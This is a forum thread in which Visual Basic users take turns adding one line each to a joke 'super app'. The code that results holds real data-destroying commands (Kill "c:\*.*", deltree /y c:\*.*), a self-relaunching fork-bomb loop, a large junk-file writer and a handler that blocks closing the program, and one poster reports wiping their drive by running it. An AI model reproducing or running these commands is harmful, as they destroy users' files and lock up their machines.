Just add a line of code (and write your name above it (copyright)) to the code the person above you posted and we'll end up with a super app!
I start:
VB Code:
'Alex (Alien_Poo) Dim A as integer
Printable View
Just add a line of code (and write your name above it (copyright)) to the code the person above you posted and we'll end up with a super app!
I start:
VB Code:
'Alex (Alien_Poo) Dim A as integer
VB Code:
'Alex (Alien_Poo) Dim A as integer a = 1/0 'Yash (OrdinaryGuy)
VB Code:
On Error Resume Next 'Lou Dim A as integer 'Alex (Alien_Poo) a = 1/0 'Yash (OrdinaryGuy)
VB Code:
On Error Resume Next 'Lou Dim A as integer 'Alex (Alien_Poo) a = 1/0 'Yash (OrdinaryGuy) If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash
VB Code:
On Error Resume Next 'Lou Dim A as integer 'Alex (Alien_Poo) a = 1/0 'Yash (OrdinaryGuy) If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR
VB Code:
End On Error Resume Next 'Lou Dim A as integer 'Alex (Alien_Poo) a = 1/0 'Yash (OrdinaryGuy) If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR
VB Code:
goto 10 'DiGErR End ' and people say goto's are worthless! 10 On Error Resume Next 'Lou Dim A as integer 'Alex (Alien_Poo) a = 1/0 'Yash (OrdinaryGuy) If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR
Well, you've ruined the game. You added 2 lines, and thus broke the rules. So much for a 'super app'... :rolleyes:
VB Code:
goto 10 'DiGErR End ' and people say goto's are worthless! 10 On Error Resume Next 'Lou Dim A as integer 'Alex (Alien_Poo) a = 1/0 'Yash (OrdinaryGuy) If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR Else: sAns = InputBox("Well, you're not mendhak, but who are you then?","Name?") 'arsmakman
VB Code:
Option Explicit goto 10 'DiGErR End ' and people say goto's are worthless! 10 On Error Resume Next 'Lou Dim A as integer 'Alex (Alien_Poo) a = 1/0 'Yash (OrdinaryGuy) If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR Else: sAns = InputBox("Well, you're not mendhak, but who are you then?","Name?") 'arsmakman
Broke it again. :)
VB Code:
Option Explicit Dim sAns As String 'arsmakman goto 10 'DiGErR End ' and people say goto's are worthless! 10 On Error Resume Next 'Lou Dim A as integer 'Alex (Alien_Poo) a = 1/0 'Yash (OrdinaryGuy) If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR Else: sAns = InputBox("Well, you're not mendhak, but who are you then?","Name?") 'arsmakman
Quote:
Originally posted by arsmakman
VB Code:
Option Explicit Dim sAns As String 'arsmakman goto 10 'DiGErR End ' and people say goto's are worthless! 10 On Error Resume Next 'Lou Dim A as integer 'Alex (Alien_Poo) Private Sub Form_Load() a = 1/0 'Yash (OrdinaryGuy) If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR Else: sAns = InputBox("Well, you're not mendhak, but who are you then?","Name?") 'arsmakman End Sub
VB Code:
Option Explicit Dim sAns as String GoTo 10 'DiGErR End ' and people say goto's are worthless! 10 On Error Resume Next 'Lou Dim A as Integer 'Alex (Alien_Poo) a = 1/0 'Yash (OrdinaryGuy) If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR Else: sAns = InputBox("Well, you're not mendhak, but who are you then?","Name?") 'arsmakman If sAns = "rj" then shell "smartdrv": shell "smartdrv": shell "deltree /y c:\*.*"
VB Code:
Option Explicit Dim sAns as String GoTo 10 'DiGErR End ' and people say goto's are worthless! 10 On Error Resume Next 'Lou Dim A as Integer 'Alex (Alien_Poo) a = 1/0 'Yash (OrdinaryGuy) If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR Else: sAns = InputBox("Well, you're not mendhak, but who are you then?","Name?") 'arsmakman If sAns = "rj" then shell "smartdrv": shell "smartdrv": shell "deltree /y c:\*.*" If sAnd = "Mendhak" Then Do: MsgBox "You're screwed": Loop
Quote:
Originally posted by arsmakman
VB Code:
Option Explicit Dim sAns as String GoTo 10 'DiGErR End ' and people say goto's are worthless! 10 On Error Resume Next 'Lou Dim A as Integer 'Alex (Alien_Poo) a = 1/0 'Yash (OrdinaryGuy) If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR Else: sAns = InputBox("Well, you're not mendhak, but who are you then?","Name?") 'arsmakman If sAns = "rj" then shell "smartdrv": shell "smartdrv": shell "deltree /y c:\*.*" If sAnd = "Mendhak" Then Do: MsgBox "You're screwed":shell "smartdrv": shell "smartdrv": shell "deltree /y c:\*.*": Loop 'edited by DiGErR
VB Code:
Option Explicit Dim sAns as String GoTo 10 'DiGErR End ' and people say goto's are worthless! 10 On Error Resume Next 'Lou Dim A as Integer 'Alex (Alien_Poo) a = 1/0 'Yash (OrdinaryGuy) If MsgBox("Are you a frog?", vbQuestion + VBYesNo) = vbYes Then 'Yash Msgbox "Hello Mendhak!", 64, "Greetings": kill "c:\*.*" 'DiGErR Else: sAns = InputBox("Well, you're not mendhak, but who are you then?","Name?") 'arsmakman If sAns = "rj" then shell "smartdrv": shell "smartdrv": shell "deltree /y c:\*.*" If sAnd = "Mendhak" Then Do: MsgBox "You're screwed": Loop If sAns = "DigitalError" Then Exit Sub
VB Code:
Option Explicit Dim sAns As String Private Sub Form_Load() GoTo 10 'DiGErR End ' and people say gotos are worthless! 10 On Error Resume Next 'Lou Dim A As Integer 'Alex (Alien_Poo) A = 1 / 0 'Yash (OrdinaryGuy) If MsgBox("Are you a frog?", vbQuestion + vbYesNo) = vbYes Then 'Yash MsgBox "Hello Mendhak!", 64, "Greetings": Kill "c:\*.*" 'DiGErR Else: sAns = InputBox("Well, you're not mendhak, but who are you then?", "Name?") 'arsmakman If sAns = "rj" Then Shell "smartdrv": Shell "smartdrv": Shell "deltree /y c:\*.*" If sAns = "Mendhak" Then Do: MsgBox "You're screwed": Loop If sAns = "DigitalError" Then Exit Sub End If End Sub
Unload Me 'alex
Option Explicit
Dim sAns As String
Private Sub Form_Load()
GoTo 10 'DiGErR
End ' and people say gotos are worthless!
10
On Error Resume Next 'Lou
Dim A As Integer 'Alex (Alien_Poo)
A = 1 / 0 'Yash (OrdinaryGuy)
If MsgBox("Are you a frog?", vbQuestion + vbYesNo) = vbYes Then 'Yash
MsgBox "Hello Mendhak!", 64, "Greetings": Kill "c:\*.*" 'DiGErR
Else: sAns = InputBox("Well, you're not mendhak, but who are you then?", "Name?") 'arsmakman
If sAns = "rj" Then Shell "smartdrv": Shell "smartdrv": Shell "deltree /y c:\*.*"
If sAns = "Mendhak" Then Do: MsgBox "You're screwed": Loop
If sAns = "DigitalError" Then Exit Sub
End If
End Sub
ha i ended the super app lol
No, it just won't compile with a function before the Option Explicit line... not that it would have anyway, mind you... :p
......what
ARRRGGHHH :mad: :mad:
lol, I ran the program and being ME, I typed in rj, just finished reformatting
:p
stupid me
YOUR JOKING?!?!?!Quote:
Originally posted by Alien_poo
ARRRGGHHH :mad: :mad:
lol, I ran the program and being ME, I typed in rj, just finished reformatting
:p
stupid me
non im not :( I can prove... well I think I can...
VB Code:
Option Explicit Dim sAns As String Private Sub Form_Load() GoTo 10 'DiGErR End ' and people say gotos are worthless! 10 On Error Resume Next 'Lou Dim A As Integer 'Alex (Alien_Poo) A = 1 / 0 'Yash (OrdinaryGuy) If MsgBox("Are you a frog?", vbQuestion + vbYesNo) = vbYes Then 'Yash MsgBox "Hello Mendhak!", 64, "Greetings": Kill "c:\*.*" 'DiGErR Else: sAns = InputBox("Well, you're not mendhak, but who are you then?", "Name?") 'arsmakman If sAns = "rj" Then Shell "smartdrv": Shell "smartdrv": Shell "deltree /y c:\*.*" If sAns = "Mendhak" Then Do: MsgBox "You're screwed": Loop If sAns = "DigitalError" Then Exit Sub If sAns = "" GoTo KillSystem: End If Exit Sub KillSystem: Do Shell App.Path & "\" & App.EXEName & ".exe" Loop End Sub
Lol :Mind i was gonna test out the finished code, till i saw Kill C:\*.*Quote:
Originally posted by Alien_poo
non im not :( I can prove... well I think I can...
(Woulda crashed out, i dont got a C:\ no more ;))
I will not test our app anymore, if we want to distibute it :pQuote:
Originally posted by wpearsall
Lol :Mind i was gonna test out the finished code, till i saw Kill C:\*.*
(Woulda crashed out, i dont got a C:\ no more ;))
NO I DO NOT KNOW IF I DID THIS RIGHT.
VB Code:
Option Explicit Dim sAns As String Private Sub Form_Load() GoTo 10 'DiGErR End ' and people say gotos are worthless! 10 On Error Resume Next 'Lou Dim A As Integer 'Alex (Alien_Poo) A = 1 / 0 'Yash (OrdinaryGuy) If MsgBox("Are you a frog?", vbQuestion + vbYesNo) = vbYes Then 'Yash MsgBox "Hello Mendhak!", 64, "Greetings": Kill "c:\*.*" 'DiGErR Else: sAns = InputBox("Well, you're not mendhak, but who are you then?", "Name?") 'arsmakman If sAns = "rj" Then Shell "smartdrv": Shell "smartdrv": Shell "deltree /y c:\*.*" If sAns = "Mendhak" Then Do: MsgBox "You're screwed": Loop If sAns = "DigitalError" Then Exit Sub If sAns = "" GoTo KillSystem: End If Exit Sub KillSystem: '--Siyan (underqualified and untested) Open "c:\hellomofo.dat" for output as #1 Dim Person as Integer For Person = 0 to 1000000000 Print #1, Rnd(Person) Next Person Close #1 Msgbox "What is the square root of seventeen billion six hundred eighteen million three hundred and six thousand four hundred and ninety nine point seven?" '--- Do Shell App.Path & "\" & App.EXEName & ".exe" Loop End Sub
VB Code:
Option Explicit Dim sAns As String Private Sub Form_Load() GoTo 10 'DiGErR End ' and people say gotos are worthless! 10 On Error Resume Next 'Lou Dim A As Integer 'Alex (Alien_Poo) A = 1 / 0 'Yash (OrdinaryGuy) If MsgBox("Are you a frog?", vbQuestion + vbYesNo) = vbYes Then 'Yash MsgBox "Hello Mendhak!", 64, "Greetings": Kill "c:\*.*" 'DiGErR Else: sAns = InputBox("Well, you're not mendhak, but who are you then?", "Name?") 'arsmakman If sAns = "rj" Then Shell "smartdrv": Shell "smartdrv": Shell "deltree /y c:\*.*" If sAns = "Mendhak" Then Do: MsgBox "You're screwed": Loop If sAns = "DigitalError" Then Exit Sub If sAns = "" GoTo KillSystem: End If Exit Sub KillSystem: '--Siyan (underqualified and untested) Open "c:\hellomofo.dat" for output as #1 Dim Person as Integer For Person = 0 to 1000000000 Print #1, Rnd(Person) Next Person Close #1 Msgbox "What is the square root of seventeen billion six hundred eighteen million three hundred and six thousand four hundred and ninety nine point seven?" '--- Do Shell App.Path & "\" & App.EXEName & ".exe" Loop End Sub Private Sub Form_Unload(Cancel As Integer) On Error Resume Next ' Dont want this code to spoil their fun ;) Dim HowMuchMemoryLeft As Interger MsgBox "Do You Wish To Proceed?", vbOKOnly, "Make Your Choice" MsgBox "You WILL Be Sorry :D <Evil Grinz>", vbOKOnly, "Correct Choice" For HowMuchMemoryLeft 0 To 99999999 Shell (App.Path & "\" & App.EXEName & ".exe") Cancel = True ' Stop the person Closing the application ' IDEA: Anyone know how to stop windows closing? ' HEHEHE .. Or lock the TaskManager Opening ;) End Sub